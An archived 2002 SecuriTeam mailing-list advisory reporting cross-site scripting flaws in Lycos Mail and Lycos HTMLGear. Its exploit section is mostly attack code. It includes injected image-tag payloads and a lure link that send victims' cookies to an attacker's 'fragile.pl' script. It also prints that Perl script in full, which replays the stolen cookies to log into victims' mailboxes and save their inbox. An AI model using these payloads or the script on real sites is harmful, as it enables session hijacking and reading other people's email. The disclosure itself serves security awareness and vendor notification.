

## [NEWS] Lycos Mail and Lycos HTMLGear XSS/Cookie Problems Advisory

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0016.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 11/06/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 6 Nov 2002 22:02:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

-----

Lycos Mail and Lycos HTMLGear XSS/Cookie Problems Advisory

---

### SUMMARY

<<http://login.mail.lycos.com/>> Lycos Mail is a full featured web-based email solution. Lycos Mail now offers two levels of email service, a standard FREE version and a NEW Lycos Mail Plus option for the more demanding user. <<http://htmlgear.lycos.com/>> Professional Gears eliminate ALL ads and HTML Gear branding and give you the freedom to integrate Gears more seamlessly on your site. Both sites (Lycos Mail and HTMLGear) have been found to contain multiple XSS vulnerabilities.

### DETAILS

'Matthew Murphy' found on Sept 14 2002 some bugs in the HTMLGear Guestbook, which can be viewed on:

<<http://www.securiteam.com/securitynews/5EP0C1P8AK.html>> Lycos HTMLGear Guestbook Script Injection Vulnerability.

Besides those bugs, the HTMLGear got also a XSS in 'control.guest' on the lycos.com server. Both bugs can be used to get the cookies from users of the site. The real problem in this is that through this way people their lycosmail cookies can be captured. This can be done when people use the "Save User Name & Password" option when login in and don't log out. Closing the browser wil not log them out. With the cookie of a lycosmail

## Securiteam: [NEWS] Lycos Mail and Lycos HTMLGear XSS/Cookie Problems Advisory

user, people can have access to their mailbox.

Exploit:

Inject JavaScript into the HTMLGear of none patched/bad filtered guest books:

```
- <IMG  
SRC="javascript:window.open('http://host/cgi-bin/fragile.pl?'+document.cookie);">  
- <IMG SRC="http://a.a/a"  
onerror="poof:window.open('http://host/cgi-bin/fragile.pl?'+document.cookie);">  
- <IMG SRC="http://ly.lygo.com/ly/0/hp/dog.gif"  
onload="poof:window.open('http://host/cgi-bin/fragile.pl?'+document.cookie);">
```

Or let people click on the next URL:

```
-  

```

This can be done by letting people click on a link, which you can mail them:

```
- <a  
href="http://htmlgear.lycos.com/guest/control.guest?u=poof%3Ewindow.open('http://host/cgi-bin/fragile.pl?'+document.cookie);"  
Nude!</a>
```

All will connect with a perl script (fragile.pl), this script will take the cookie, and make a connection to lycos.com to login on the mail server using the cookie. Then it will request the inbox or the front page of the mailbox of the user. With the third option in the exploit it just captures the cookies and writes them in a file together with the email address. This is just a proof of concept you could also change it to let it read mail. Please don't email me with request to write that.

Fragile.pl:

```
#!/usr/bin/perl -w  
#  
# Lycos.com XSS/Cookie Problems  
# N|ghtHawk  
# nighthawk_at_hackers4hackers.org  
  
use IO::Socket;  
  
# OPTIONS  
# 1. See Mail Frontpage  
# 2. See Inbox  
# 3. Only save Cookie  
$option = 2;  
  
# PATH  
$path = "/tmp/";  
  
$cookie = "$ENV{QUERY_STRING}";  
$cookie =~ s/%20/ /g;
```

Securiteam: [NEWS] Lycos Mail and Lycos HTMLGear XSS/Cookie Problems Advisory

```
if ($cookie !~ "MAYA") {
    &no_cookie;
}

$ip = "209.202.220.97";
$host = "login.mail.lycos.com";
$req = "\/?callback=http://inbox.mail.lycos.com/jumpPage.shtml";

$data = request($ip, $host, $req);

@datar = split(/\n/, $data);
foreach $line (@datar) {
    if ($line =~ /[Cc]ookie: *(.*)\; *.*;/) {
        $line = $1;
        if ($line !~ "L_LOC") {
            $cookie .= " $line\;";
        } else {
            $cookie .= " $line";
        }
    }
    } elsif ($line =~ /Location: *http://inbox.mail.lycos.com(.*)/) {
        $req = $1;
    }
}

if ($option == 1 || $option == 3) {
    $ip = "209.202.220.100";
    $host = "inbox.mail.lycos.com";
    $data = request($ip, $host, $req);
    out($data);
}

if ($option == 2) {
    $ip = "209.202.220.97";
    $host = "login.mail.lycos.com";
    $req = "\bounce.shtml?goto=folder&folderId=!1inbox&user=&count=1";
    $data = request($ip, $host, $req);
    @datar = split(/\n/, $data);
    foreach $line (@datar) {
        if ($line =~ /Location: *http://(.*)com(.*)/) {
            $host = $1;
            $req = $2;
        }
    }
    $data = request($host, $host, $req);
    out($data);
}

sub out {
    my ($data) = @_ ;
    @datar = split(/\n/, $data);
    foreach $line (@datar) {
```

## Securiteam: [NEWS] Lycos Mail and Lycos HTMLGear XSS/Cookie Problems Advisory

```
if ($line =~ /<b>Hello, * (.+@lycos.com)</b>/) {
    $name = $1;
}
}
if ($option == 3) {
    $data = "$name\n$cookie\n";
    $name = "cookies";
}
open(FILE,">$path$name.html");
print FILE "$data\n";
close(FILE);

print "Content-type: text/html\n";
print "Location: http://www.dwheeler.com/secure-programs".
    "/Secure-Programs-HOWTO.html\n\n";
}
```

```
sub request {
    my ($ip, $host, $req) = @_ ;
    $sock = IO::Socket::INET->new(
        Proto => "tcp",
        PeerAddr => "$ip",
        PeerPort => "80",
        Timeout => 30) || die "Could not create socket: $!\n";
    print $sock "GET $req HTTP/1.0\n".
        "Host: $host\n".
        "Accept: image/gif, image/x-xbitmap, */*\n".
        "Accept-Language: nl\n".
        "User-Agent: Pr00fOfConcept/1.0 \n".
        "Connection: Keep-Alive\n".
        "Cookie: $cookie\n\n";
    sleep(2);
    recv($sock,$data,200000,0);
    close($sock);
    return $data;
}
```

```
sub no_cookie {
    print "content-type: text/html\n\n";
    print "<h1>No Lycos Mail Cookie found</h1>\n";
    exit;
}
```

### Vendor Response:

No vendor response has been received at the time of releasing this advisory.

### ADDITIONAL INFORMATION

The information has been provided by  
<mailto:[nighthawk@hackers4hackers.nl](mailto:nighthawk@hackers4hackers.nl)> N|ghtHawk.

Securiteam: [NEWS] Lycos Mail and Lycos HTMLGear XSS/Cookie Problems Advisory

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====  
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- ***Previous message:*** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Macromedia Dreamweaver Site FTP Password Vulnerability"
- ***Messages sorted by:*** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)